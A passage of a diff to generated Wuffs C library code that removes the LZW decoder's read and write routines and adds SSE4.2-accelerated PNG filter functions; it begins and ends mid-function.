wuffs_base__utility__make_range_ii_u64(0u, 0u); -+ return wuffs_base__make_empty_struct(); - } - --// -------- func lzw.decoder.transform_io -+// ‼ WUFFS MULTI-FILE SECTION +x86_sse42 -+// -------- func png.decoder.filter_1_distance_4_x86_sse42 - -+#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) -+WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2") - WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_lzw__decoder__transform_io( -- wuffs_lzw__decoder* self, -- wuffs_base__io_buffer* a_dst, -- wuffs_base__io_buffer* a_src, -- wuffs_base__slice_u8 a_workbuf) { -- if (!self) { -- return wuffs_base__make_status(wuffs_base__error__bad_receiver); -- } -- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -- return wuffs_base__make_status( -- (self->private_impl.magic == WUFFS_BASE__DISABLED) -- ? wuffs_base__error__disabled_by_previous_error -- : wuffs_base__error__initialize_not_called); -- } -- if (!a_dst || !a_src) { -- self->private_impl.magic = WUFFS_BASE__DISABLED; -- return wuffs_base__make_status(wuffs_base__error__bad_argument); -- } -- if ((self->private_impl.active_coroutine != 0) && -- (self->private_impl.active_coroutine != 1)) { -- self->private_impl.magic = WUFFS_BASE__DISABLED; -- return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); -- } -- self->private_impl.active_coroutine = 0; -- wuffs_base__status status = wuffs_base__make_status(NULL); -- -- uint32_t v_i = 0; -- -- uint32_t coro_susp_point = self->private_impl.p_transform_io[0]; -- switch (coro_susp_point) { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+static wuffs_base__empty_struct -+wuffs_png__decoder__filter_1_distance_4_x86_sse42( -+ wuffs_png__decoder* self, -+ wuffs_base__slice_u8 a_curr) { -+ wuffs_base__slice_u8 v_curr = {0}; -+ __m128i v_x128 = {0}; -+ __m128i v_a128 = {0}; - -- self->private_impl.f_literal_width = 8u; -- if (self->private_impl.f_pending_literal_width_plus_one > 0u) { -- self->private_impl.f_literal_width = (self->private_impl.f_pending_literal_width_plus_one - 1u); -- } -- self->private_impl.f_clear_code = (((uint32_t)(1u)) << self->private_impl.f_literal_width); -- self->private_impl.f_end_code = (self->private_impl.f_clear_code + 1u); -- self->private_impl.f_save_code = self->private_impl.f_end_code; -- self->private_impl.f_prev_code = self->private_impl.f_end_code; -- self->private_impl.f_width = (self->private_impl.f_literal_width + 1u); -- self->private_impl.f_bits = 0u; -- self->private_impl.f_n_bits = 0u; -- self->private_impl.f_output_ri = 0u; -- self->private_impl.f_output_wi = 0u; -- v_i = 0u; -- while (v_i < self->private_impl.f_clear_code) { -- self->private_data.f_lm1s[v_i] = 0u; -- self->private_data.f_suffixes[v_i][0u] = ((uint8_t)(v_i)); -- v_i += 1u; -+ { -+ wuffs_base__slice_u8 i_slice_curr = a_curr; -+ v_curr.ptr = i_slice_curr.ptr; -+ v_curr.len = 4; -+ const uint8_t* i_end0_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 8) * 8)); -+ while (v_curr.ptr < i_end0_curr) { -+ v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); -+ v_x128 = _mm_add_epi8(v_x128, v_a128); -+ v_a128 = v_x128; -+ wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); -+ v_curr.ptr += 4; -+ v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); -+ v_x128 = _mm_add_epi8(v_x128, v_a128); -+ v_a128 = v_x128; -+ wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); -+ v_curr.ptr += 4; - } -- while (true) { -- wuffs_lzw__decoder__read_from(self, a_src); -- if (self->private_impl.f_output_wi > 0u) { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -- status = wuffs_lzw__decoder__write_to(self, a_dst); -- if (status.repr) { -- goto suspend; -- } -- } -- if (self->private_impl.f_read_from_return_value == 0u) { -- break; -- } else if (self->private_impl.f_read_from_return_value == 1u) { -- continue; -- } else if (self->private_impl.f_read_from_return_value == 2u) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); -- } else if (self->private_impl.f_read_from_return_value == 3u) { -- status = wuffs_base__make_status(wuffs_lzw__error__truncated_input); -- goto exit; -- } else if (self->private_impl.f_read_from_return_value == 4u) { -- status = wuffs_base__make_status(wuffs_lzw__error__bad_code); -- goto exit; -- } else { -- status = wuffs_base__make_status(wuffs_lzw__error__internal_error_inconsistent_i_o); -- goto exit; -- } -+ v_curr.len = 4; -+ const uint8_t* i_end1_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 4) * 4)); -+ while (v_curr.ptr < i_end1_curr) { -+ v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); -+ v_x128 = _mm_add_epi8(v_x128, v_a128); -+ v_a128 = v_x128; -+ wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); -+ v_curr.ptr += 4; - } -- -- ok: -- self->private_impl.p_transform_io[0] = 0; -- goto exit; -- } -- -- goto suspend; -- suspend: -- self->private_impl.p_transform_io[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; -- -- goto exit; -- exit: -- if (wuffs_base__status__is_error(&status)) { -- self->private_impl.magic = WUFFS_BASE__DISABLED; -+ v_curr.len = 0; - } -- return status; -+ return wuffs_base__make_empty_struct(); - } -+#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) -+// ‼ WUFFS MULTI-FILE SECTION -x86_sse42 - --// -------- func lzw.decoder.read_from -+// ‼ WUFFS MULTI-FILE SECTION +x86_sse42 -+// -------- func png.decoder.filter_3_distance_4_x86_sse42 - -+#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) -+WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2") - WUFFS_BASE__GENERATED_C_CODE - static wuffs_base__empty_struct --wuffs_lzw__decoder__read_from( -- wuffs_lzw__decoder* self, -- wuffs_base__io_buffer* a_src) { -- uint32_t v_clear_code = 0; -- uint32_t v_end_code = 0; -- uint32_t v_save_code = 0; -- uint32_t v_prev_code = 0; -- uint32_t v_width = 0; -- uint32_t v_bits = 0; -- uint32_t v_n_bits = 0; -- uint32_t v_output_wi = 0; -- uint32_t v_code = 0; -- uint32_t v_c = 0; -- uint32_t v_o = 0; -- uint32_t v_steps = 0; -- uint8_t v_first_byte = 0; -- uint16_t v_lm1_b = 0; -- uint16_t v_lm1_a = 0; -- -- const uint8_t* iop_a_src = NULL; -- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- if (a_src && a_src->data.ptr) { -- io0_a_src = a_src->data.ptr; -- io1_a_src = io0_a_src + a_src->meta.ri; -- iop_a_src = io1_a_src; -- io2_a_src = io0_a_src + a_src->meta.wi; -- } -+wuffs_png__decoder__filter_3_distance_4_x86_sse42( -+ wuffs_png__decoder* self, -+ wuffs_base__slice_u8 a_curr, -+ wuffs_base__slice_u8 a_prev) { -+ wuffs_base__slice_u8 v_curr = {0}; -+ wuffs_base__slice_u8 v_prev = {0}; -+ __m128i v_x128 = {0}; -+ __m128i v_a128 = {0}; -+ __m128i v_b128 = {0}; -+ __m128i v_p128 = {0}; -+ __m128i v_k128 = {0}; - -- v_clear_code = self->private_impl.f_clear_code; -- v_end_code = self->private_impl.f_end_code; -- v_save_code = self->private_impl.f_save_code; -- v_prev_code = self->private_impl.f_prev_code; -- v_width = self->private_impl.f_width; -- v_bits = self->private_impl.f_bits; -- v_n_bits = self->private_impl.f_n_bits; -- v_output_wi = self->private_impl.f_output_wi; -- while (true) { -- if (v_n_bits < v_width) { -- if (((uint64_t)(io2_a_src - iop_a_src)) >= 4u) { -- v_bits |= ((uint32_t)(wuffs_base__peek_u32le__no_bounds_check(iop_a_src) << v_n_bits)); -- iop_a_src += ((31u - v_n_bits) >> 3u); -- v_n_bits |= 24u; -- } else if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { -- if (a_src && a_src->meta.closed) { -- self->private_impl.f_read_from_return_value = 3u; -- } else { -- self->private_impl.f_read_from_return_value = 2u; -- } -- break; -- } else { -- v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); -- iop_a_src += 1u; -- v_n_bits += 8u; -- if (v_n_bits >= v_width) { -- } else if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { -- if (a_src && a_src->meta.closed) { -- self->private_impl.f_read_from_return_value = 3u; -- } else { -- self->private_impl.f_read_from_return_value = 2u; -- } -- break; -- } else { -- v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); -- iop_a_src += 1u; -- v_n_bits += 8u; -- if (v_n_bits < v_width) { -- self->private_impl.f_read_from_return_value = 5u; -- break; -- } -- } -- } -- } -- v_code = ((v_bits) & WUFFS_BASE__LOW_BITS_MASK__U32(v_width)); -- v_bits >>= v_width; -- v_n_bits -= v_width; -- if (v_code < v_clear_code) { -- self->private_data.f_output[v_output_wi] = ((uint8_t)(v_code)); -- v_output_wi = ((v_output_wi + 1u) & 8191u); -- if (v_save_code <= 4095u) { -- v_lm1_a = (((uint16_t)(self->private_data.f_lm1s[v_prev_code] + 1u)) & 4095u); -- self->private_data.f_lm1s[v_save_code] = v_lm1_a; -- if ((v_lm1_a % 8u) != 0u) { -- self->private_impl.f_prefixes[v_save_code] = self->private_impl.f_prefixes[v_prev_code]; -- memcpy(self->private_data.f_suffixes[v_save_code],self->private_data.f_suffixes[v_prev_code], sizeof(self->private_data.f_suffixes[v_save_code])); -- self->private_data.f_suffixes[v_save_code][(v_lm1_a % 8u)] = ((uint8_t)(v_code)); -- } else { -- self->private_impl.f_prefixes[v_save_code] = ((uint16_t)(v_prev_code)); -- self->private_data.f_suffixes[v_save_code][0u] = ((uint8_t)(v_code)); -- } -- v_save_code += 1u; -- if (v_width < 12u) { -- v_width += (1u & (v_save_code >> v_width)); -- } -- v_prev_code = v_code; -- } -- } else if (v_code <= v_end_code) { -- if (v_code == v_end_code) { -- self->private_impl.f_read_from_return_value = 0u; -- break; -- } -- v_save_code = v_end_code; -- v_prev_code = v_end_code; -- v_width = (self->private_impl.f_literal_width + 1u); -- } else if (v_code <= v_save_code) { -- v_c = v_code; -- if (v_code == v_save_code) { -- v_c = v_prev_code; -- } -- v_o = ((v_output_wi + (((uint32_t)(self->private_data.f_lm1s[v_c])) & 4294967288u)) & 8191u); -- v_output_wi = ((v_output_wi + 1u + ((uint32_t)(self->private_data.f_lm1s[v_c]))) & 8191u); -- v_steps = (((uint32_t)(self->private_data.f_lm1s[v_c])) >> 3u); -- while (true) { -- memcpy((self->private_data.f_output)+(v_o), (self->private_data.f_suffixes[v_c]), 8u); -- if (v_steps <= 0u) { -- break; -- } -- v_steps -= 1u; -- v_o = (((uint32_t)(v_o - 8u)) & 8191u); -- v_c = ((uint32_t)(self->private_impl.f_prefixes[v_c])); -- } -- v_first_byte = self->private_data.f_suffixes[v_c][0u]; -- if (v_code == v_save_code) { -- self->private_data.f_output[v_output_wi] = v_first_byte; -- v_output_wi = ((v_output_wi + 1u) & 8191u); -+ if (((uint64_t)(a_prev.len)) == 0u) { -+ v_k128 = _mm_set1_epi8((int8_t)(254u)); -+ { -+ wuffs_base__slice_u8 i_slice_curr = a_curr; -+ v_curr.ptr = i_slice_curr.ptr; -+ v_curr.len = 4; -+ const uint8_t* i_end0_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 8) * 8)); -+ while (v_curr.ptr < i_end0_curr) { -+ v_p128 = _mm_avg_epu8(_mm_and_si128(v_a128, v_k128), v_b128); -+ v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); -+ v_x128 = _mm_add_epi8(v_x128, v_p128); -+ v_a128 = v_x128; -+ wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); -+ v_curr.ptr += 4; -+ v_p128 = _mm_avg_epu8(_mm_and_si128(v_a128, v_k128), v_b128); -+ v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); -+ v_x128 = _mm_add_epi8(v_x128, v_p128); -+ v_a128 = v_x128; -+ wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); -+ v_curr.ptr += 4; - } -- if (v_save_code <= 4095u) { -- v_lm1_b = (((uint16_t)(self->private_data.f_lm1s[v_prev_code] + 1u)) & 4095u); -- self->private_data.f_lm1s[v_save_code] = v_lm1_b; -- if ((v_lm1_b % 8u) != 0u) { -- self->private_impl.f_prefixes[v_save_code] = self->private_impl.f_prefixes[v_prev_code]; -- memcpy(self->private_data.f_suffixes[v_save_code],self->private_data.f_suffixes[v_prev_code], sizeof(self->private_data.f_suffixes[v_save_code])); -- self->private_data.f_suffixes[v_save_code][(v_lm1_b % 8u)] = v_first_byte; -- } else { -- self->private_impl.f_prefixes[v_save_code] = ((uint16_t)(v_prev_code)); -- self->private_data.f_suffixes[v_save_code][0u] = ((uint8_t)(v_first_byte)); -- } -- v_save_code += 1u; -- if (v_width < 12u) { -- v_width += (1u & (v_save_code >> v_width)); -- } -- v_prev_code = v_code; -+ v_curr.len = 4; -+ const uint8_t* i_end1_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 4) * 4)); -+ while (v_curr.ptr < i_end1_curr) { -+ v_p128 = _mm_avg_epu8(_mm_and_si128(v_a128, v_k128), v_b128); -+ v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); -+ v_x128 = _mm_add_epi8(v_x128, v_p128); -+ v_a128 = v_x128; -+ wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); -+ v_curr.ptr += 4; - } -- } else { -- self->private_impl.f_read_from_return_value = 4u; -- break; -- } -- if (v_output_wi > 4095u) { -- self->private_impl.f_read_from_return_value = 1u; -- break; -+ v_curr.len = 0; - } -- } -- if (self->private_impl.f_read_from_return_value != 2u) { -- while (v_n_bits >= 8u) { -- v_n_bits -= 8u; -- if (iop_a_src > io1_a_src) { -- iop_a_src--; -- } else { -- self->private_impl.f_read_from_return_value = 5u; -- break; -+ } else { -+ v_k128 = _mm_set1_epi8((int8_t)(1u)); -+ { -+ wuffs_base__slice_u8 i_slice_curr = a_curr; -+ v_curr.ptr = i_slice_curr.ptr; -+ wuffs_base__slice_u8 i_slice_prev = a_prev; -+ v_prev.ptr = i_slice_prev.ptr; -+ i_slice_curr.len = ((size_t)(wuffs_base__u64__min(i_slice_curr.len, i_slice_prev.len))); -+ v_curr.len = 4; -+ v_prev.len = 4; -+ const uint8_t* i_end0_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 8) * 8)); -+ while (v_curr.ptr < i_end0_curr) { -+ v_b128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); -+ v_p128 = _mm_avg_epu8(v_a128, v_b128); -+ v_p128 = _mm_sub_epi8(v_p128, _mm_and_si128(v_k128, _mm_xor_si128(v_a128, v_b128))); -+ v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); -+ v_x128 = _mm_add_epi8(v_x128, v_p128); -+ v_a128 = v_x128; -+ wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); -+ v_curr.ptr += 4; -+ v_prev.ptr += 4; -+ v_b128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); -+ v_p128 = _mm_avg_epu8(v_a128, v_b128); -+ v_p128 = _mm_sub_epi8(v_p128, _mm_and_si128(v_k128, _mm_xor_si128(v_a128, v_b128))); -+ v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); -+ v_x128 = _mm_add_epi8(v_x128, v_p128); -+ v_a128 = v_x128; -+ wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); -+ v_curr.ptr += 4; -+ v_prev.ptr += 4; -+ } -+ v_curr.len = 4; -+ v_prev.len = 4; -+ const uint8_t* i_end1_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 4) * 4)); -+ while (v_curr.ptr < i_end1_curr) { -+ v_b128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); -+ v_p128 = _mm_avg_epu8(v_a128, v_b128); -+ v_p128 = _mm_sub_epi8(v_p128, _mm_and_si128(v_k128, _mm_xor_si128(v_a128, v_b128))); -+ v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); -+ v_x128 = _mm_add_epi8(v_x128, v_p128); -+ v_a128 = v_x128; -+ wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); -+ v_curr.ptr += 4; -+ v_prev.ptr += 4; - } -+ v_curr.len = 0; -+ v_prev.len = 0; - } - } -- self->private_impl.f_save_code = v_save_code; -- self->private_impl.f_prev_code = v_prev_code; -- self->private_impl.f_width = v_width; -- self->private_impl.f_bits = v_bits; -- self->private_impl.f_n_bits = v_n_bits; -- self->private_impl.f_output_wi = v_output_wi; -- if (a_src && a_src->data.ptr) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -- - return wuffs_base__make_empty_struct(); - } -+#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) -+// ‼ WUFFS MULTI-FILE SECTION -x86_sse42 - --// -------- func lzw.decoder.write_to -+// ‼ WUFFS MULTI-FILE SECTION +x86_sse42 -+// -------- func png.decoder.filter_4_distance_3_x86_sse42 - -+#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) -+WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2") - WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_lzw__decoder__write_to( -- wuffs_lzw__decoder* self, -- wuffs_base__io_buffer* a_dst) { -- wuffs_base__status status = wuffs_base__make_status(NULL); -- -- wuffs_base__slice_u8 v_s = {0}; -- uint64_t v_n = 0; -+static wuffs_base__empty_struct -+wuffs_png__decoder__filter_4_distance_3_x86_sse42( -+ wuffs_png__decoder* self, -+ wuffs_base__slice_u8 a_curr, -+ wuffs_base__slice_u8 a_prev) { -+ wuffs_base__slice_u8 v_curr = {0}; -+ wuffs_base__slice_u8 v_prev = {0}; -+ __m128i v_x128 = {0}; -+ __m128i v_a128 = {0}; -+ __m128i v_b128 = {0}; -+ __m128i v_c128 = {0}; -+ __m128i v_p128 = {0}; -+ __m128i v_pa128 = {0}; -+ __m128i v_pb128 = {0}; -+ __m128i v_pc128 = {0}; -+ __m128i v_smallest128 = {0}; -+ __m128i v_z128 = {0}; - -- uint8_t* iop_a_dst = NULL; -- uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- if (a_dst && a_dst->data.ptr) { -- io0_a_dst = a_dst->data.ptr; -- io1_a_dst = io0_a_dst + a_dst->meta.wi; -- iop_a_dst = io1_a_dst; -- io2_a_dst = io0_a_dst + a_dst->data.len; -- if (a_dst->meta.closed) { -- io2_a_dst = iop_a_dst; -+ { -+ wuffs_base__slice_u8 i_slice_curr = a_curr; -+ v_curr.ptr = i_slice_curr.ptr; -+ wuffs_base__slice_u8 i_slice_prev = a_prev; -+ v_prev.ptr = i_slice_prev.ptr; -+ i_slice_curr.len = ((size_t)(wuffs_base__u64__min(i_slice_curr.len, i_slice_prev.len))); -+ v_curr.len = 4; -+ v_prev.len = 4; -+ const uint8_t* i_end0_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, wuffs_private_impl__iterate_total_advance((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)), 7, 6)); -+ while (v_curr.ptr < i_end0_curr) { -+ v_b128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); -+ v_b128 = _mm_unpacklo_epi8(v_b128, v_z128); -+ v_pa128 = _mm_sub_epi16(v_b128, v_c128); -+ v_pb128 = _mm_sub_epi16(v_a128, v_c128); -+ v_pc128 = _mm_add_epi16(v_pa128, v_pb128); -+ v_pa128 = _mm_abs_epi16(v_pa128); -+ v_pb128 = _mm_abs_epi16(v_pb128); -+ v_pc128 = _mm_abs_epi16(v_pc128); -+ v_smallest128 = _mm_min_epi16(v_pc128, _mm_min_epi16(v_pb128, v_pa128)); -+ v_p128 = _mm_blendv_epi8(_mm_blendv_epi8(v_c128, v_b128, _mm_cmpeq_epi16(v_smallest128, v_pb128)), v_a128, _mm_cmpeq_epi16(v_smallest128, v_pa128)); -+ v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); -+ v_x128 = _mm_unpacklo_epi8(v_x128, v_z128); -+ v_x128 = _mm_add_epi8(v_x128, v_p128); -+ v_a128 = v_x128; -+ v_c128 = v_b128; -+ v_x128 = _mm_packus_epi16(v_x128, v_x128); -+ wuffs_base__poke_u24le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); -+ v_curr.ptr += 3; -+ v_prev.ptr += 3; -+ v_b128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); -+ v_b128 = _mm_unpacklo_epi8(v_b128, v_z128); -+ v_pa128 = _mm_sub_epi16(v_b128, v_c128); -+ v_pb128 = _mm_sub_epi16(v_a128, v_c128); -+ v_pc128 = _mm_add_epi16(v_pa128, v_pb128); -+ v_pa128 = _mm_abs_epi16(v_pa128); -+ v_pb128 = _mm_abs_epi16(v_pb128); -+ v_pc128 = _mm_abs_epi16(v_pc128); -+ v_smallest128 = _mm_min_epi16(v_pc128, _mm_min_epi16(v_pb128, v_pa128)); -+ v_p128 = _mm_blendv_epi8(_mm_blendv_epi8(v_c128, v_b128, _mm_cmpeq_epi16(v_smallest128, v_pb128)), v_a128, _mm_cmpeq_epi16(v_smallest128, v_pa128)); -+ v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); -+ v_x128 = _mm_unpacklo_epi8(v_x128, v_z128); -+ v_x128 = _mm_add_epi8(v_x128, v_p128); -+ v_a128 = v_x128; -+ v_c128 = v_b128; -+ v_x128 = _mm_packus_epi16(v_x128, v_x128); -+ wuffs_base__poke_u24le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); -+ v_curr.ptr += 3; -+ v_prev.ptr += 3; - } -- } -- -- uint32_t coro_susp_point = self->private_impl.p_write_to[0]; -- switch (coro_susp_point) { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -- -- while (self->private_impl.f_output_wi > 0u) { -- if (self->private_impl.f_output_ri > self->private_impl.f_output_wi) { -- status = wuffs_base__make_status(wuffs_lzw__error__internal_error_inconsistent_i_o); -- goto exit; -- } -- v_s = wuffs_base__make_slice_u8_ij(self->private_data.f_output, -- self->private_impl.f_output_ri, -- self->private_impl.f_output_wi); -- v_n = wuffs_base__io_writer__copy_from_slice(&iop_a_dst, io2_a_dst,v_s); -- if (v_n == ((uint64_t)(v_s.len))) { -- self->private_impl.f_output_ri = 0u; -- self->private_impl.f_output_wi = 0u; -- status = wuffs_base__make_status(NULL); -- goto ok; -- } -- self->private_impl.f_output_ri = (((uint32_t)(self->private_impl.f_output_ri + ((uint32_t)(v_n)))) & 8191u); -- status = wuffs_base__make_status(wuffs_base__suspension__short_write); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); -+ v_curr.len = 4; -+ v_prev.len = 4; -+ const uint8_t* i_end1_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, wuffs_private_impl__iterate_total_advance((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)), 4, 3)); -+ while (v_curr.ptr < i_end1_curr) { -+ v_b128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); -+ v_b128 = _mm_unpacklo_epi8(v_b128, v_z128); -+ v_pa128 = _mm_sub_epi16(v_b128, v_c128); -+ v_pb128 = _mm_sub_epi16(v_a128, v_c128); -+ v_pc128 = _mm_add_epi16(v_pa128, v_pb128); -+ v_pa128 = _mm_abs_epi16(v_pa128); -+ v_pb128 = _mm_abs_epi16(v_pb128); -+ v_pc128 = _mm_abs_epi16(v_pc128); -+ v_smallest128 = _mm_min_epi16(v_pc128, _mm_min_epi16(v_pb128, v_pa128)); -+ v_p128 = _mm_blendv_epi8(_mm_blendv_epi8(v_c128, v_b128, _mm_cmpeq_epi16(v_smallest128, v_pb128)), v_a128, _mm_cmpeq_epi16(v_smallest128, v_pa128)); -+ v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); -+ v_x128 = _mm_unpacklo_epi8(v_x128, v_z128); -+ v_x128 = _mm_add_epi8(v_x128, v_p128); -+ v_a128 = v_x128; -+ v_c128 = v_b128; -+ v_x128 = _mm_packus_epi16(v_x128, v_x128); -+ wuffs_base__poke_u24le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); -+ v_curr.ptr += 3; -+ v_prev.ptr += 3; - } -- -- ok: -- self->private_impl.p_write_to[0] = 0; -- goto exit; -- } -- -- goto suspend; -- suspend: -- self->private_impl.p_write_to[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -- -- goto exit; -- exit: -- if (a_dst && a_dst->data.ptr) { -- a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); -- } -- -- return status; --} -- --// -------- func lzw.decoder.flush -- --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__slice_u8 --wuffs_lzw__decoder__flush( -- wuffs_lzw__decoder* self) { -- if (!self) { -- return wuffs_base__make_slice_u8(NULL, 0); -- } -- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -- return wuffs_base__make_slice_u8(NULL, 0); -- } -- -- uint32_t v_ri = 0; -- uint32_t v_wi = 0; -- -- v_ri = self->private_impl.f_output_ri; -- v_wi = self->private_impl.f_output_wi; -- self->private_impl.f_output_ri = 0u; -- self->private_impl.f_output_wi = 0u; -- if (v_ri <= v_wi) { -- return wuffs_base__make_slice_u8_ij(self->private_data.f_output, v_ri, v_wi); -+ v_curr.len = 3; -+ v_prev.len = 3; -+ const uint8_t* i_end2_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 3) * 3)); -+ while (v_curr.ptr < i_end2_curr) { -+ v_b128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u24le__no_bounds_check(v_prev.ptr))); -+ v_b128 = _mm_unpacklo_epi8(v_b128, v_z128); -+ v_pa128 = _mm_sub_epi16(v_b128, v_c128); -+ v_pb128 = _mm_sub_epi16(v_a128, v_c128); -+ v_pc128 = _mm_add_epi16(v_pa128, v_pb128); -+ v_pa128 = _mm_abs_epi16(v_pa128); -+ v_pb128 = _mm_abs_epi16(v_pb128); -+ v_pc128 = _mm_abs_epi16(v_pc128); -+ v_smallest128 = _mm_min_epi16(v_pc128, _mm_min_epi16(v_pb128, v_pa128)); -+ v_p128 = _mm_blendv_epi8(_mm_blendv_epi8(v_c128, v_b128, _mm_cmpeq_epi16(v_smallest128, v_pb128)), v_a128, _mm_cmpeq_epi16(v_smallest128, v_pa128)); -+ v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u24le__no_bounds_check(v_curr.ptr))); -+ v_x128 = _mm_unpacklo_epi8(v_x128, v_z128); 